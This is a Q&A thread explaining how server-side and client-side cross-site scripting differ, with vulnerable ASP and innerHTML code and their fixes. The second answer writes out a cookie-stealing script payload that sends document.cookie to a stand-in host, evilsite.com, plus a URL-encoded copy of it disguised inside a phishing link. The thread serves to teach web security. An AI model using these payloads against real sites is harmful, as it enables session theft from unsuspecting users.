Server XSS vs. client XSS

Question

What is a clear explanation of the difference between server XSS and client XSS?

I read the explanation on the site of OWASP, but it wasn't very clear for me. I know the reflected, stored en DOM types.

Answer 1

First, to set the scene for anyone else finding the question we have the text from the OWASP Types of Cross-Site Scripting page:

Server XSS

Server XSS occurs when untrusted user supplied data is included in an HTML response generated by the server. The source of this data could be from the request, or from a stored location. As such, you can have both Reflected Server XSS and Stored Server XSS.

In this case, the entire vulnerability is in server-side code, and the browser is simply rendering the response and executing any valid script embedded in it.

Client XSS

Client XSS occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call. A JavaScript call is considered unsafe if it can be used to introduce valid JavaScript into the DOM. This source of this data could be from the DOM, or it could have been sent by the server (via an AJAX call, or a page load). The ultimate source of the data could have been from a request, or from a stored location on the client or the server. As such, you can have both Reflected Client XSS and Stored Client XSS.

This redefines XSS into two categories: Server and Client.

Server XSS means that the data comes directly from the server onto the page. For example, the data containing the unsanitized text is from the HTTP response that made up the vulnerable page.

Client XSS means that the data comes from JavaScript which has manipulated the page. So it is JavaScript that has added the unsanitized text to the page, rather than it being in the page at that location when it was first loaded in the browser.

Example of Server XSS

An ASP (or ASP.NET) page outputs a variable to the HTML page when generated, which is taken directly from the database:

<%=firstName %>

As firstName is not HTML encoded, a malicious user may have entered their first name as <script>alert('foo')</script>, causing a successful XSS attack.

Another example is the output of variables processed through the server without prior storage:

<%=Request.Form["FirstName"] %>

Example of Client XSS^*

<script type="text/javascript">
function loadXMLDoc() {
    var xmlhttp;

    if (window.XMLHttpRequest) {
        // code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp = new XMLHttpRequest();
    } else {
        // code for IE6, IE5
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }

    xmlhttp.onreadystatechange = function() {
        if (xmlhttp.readyState == 4 ) {
           if(xmlhttp.status == 200){
               document.getElementById("myDiv").innerHTML = xmlhttp.responseText;
           }
           else if(xmlhttp.status == 400) {
              alert('There was an error 400')
           }
           else {
               alert('something else other than 200 was returned')
           }
        }
    }

    xmlhttp.open("GET", "get_first_name.aspx", true);
    xmlhttp.send();
}
</script>

Note that our get_first_name.aspx method does no encoding of the returned data, as it is a web service method that is also used by other systems (content-type is set to text/plain). Our JavaScript code sets innerHTML to this value so it is vulnerable to Client XSS. To avoid Client XSS in this instance, innerText should be used instead of innerHTML which will not result in interpretation of HTML characters. It is even better to use textContent as Firefox is not compatible with the non-standard innerText property.

_{* code adapted from this answer.}

Answer 2

SilverlightFox has explained everything well, but I would like to add some examples.

Server XSS:
So lets say, that we found a vulnerable website, which doesn't properly handle the comment box text. We create a new comment and type in:

<p>This picture gives me chills</p>
<script>img=new Image();img.src="http://www.evilsite.com/cookie_steal.php?cookie="+document.cookie+"&url="+document.domain;</script>

We also create a PHP script that will save both GET values into a text file, and we can then proceed to steal user's cookies. The cookies get send EACH TIME someone loads the injected comment, and doesn't even need to see it coming (only sees "This picture gives me chills" comment).

Client XSS:
Let's say we found a website, that has vulnerable search bar, and parses HTML we search for into the page. To test that, simply search for something like:

<font color="red">Test</font>

If the search results shows the word "Test" in red color, the search engine is vulnerable for client XSS. Attacker then uses personal messages/emails of users of the website, to send the users innocent looking url. This could look like:

Hello, I recently had a problem with this website's search engine.
Please click on following link:
http://www.vulnerable-site.com/search.php?q=%3C%73%63%72%69%70%74%3E%69%6D%67%3D%6E%65%77%20%49%6D%61%67%65%28%29%3B%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%65%76%69%6C%73%69%74%65%2E%63%6F%6D%2F%63%6F%6F%6B%69%65%5F%73%74%65%61%6C%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2B%22%26%75%72%6C%3D%22%2B%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%3B%3C%2F%73%63%72%69%70%74%3E

When anyone clicks the link, the code is launched from their browsers (its encoded into URL chars, because else users may suspect the script in the website url), doing the same thing as script above -> stealing the cookies of the user.

However, if you use this without owner of the website's approval, you're breaking the law. Keep that in mind, and use my examples to fix XSS holes on your website.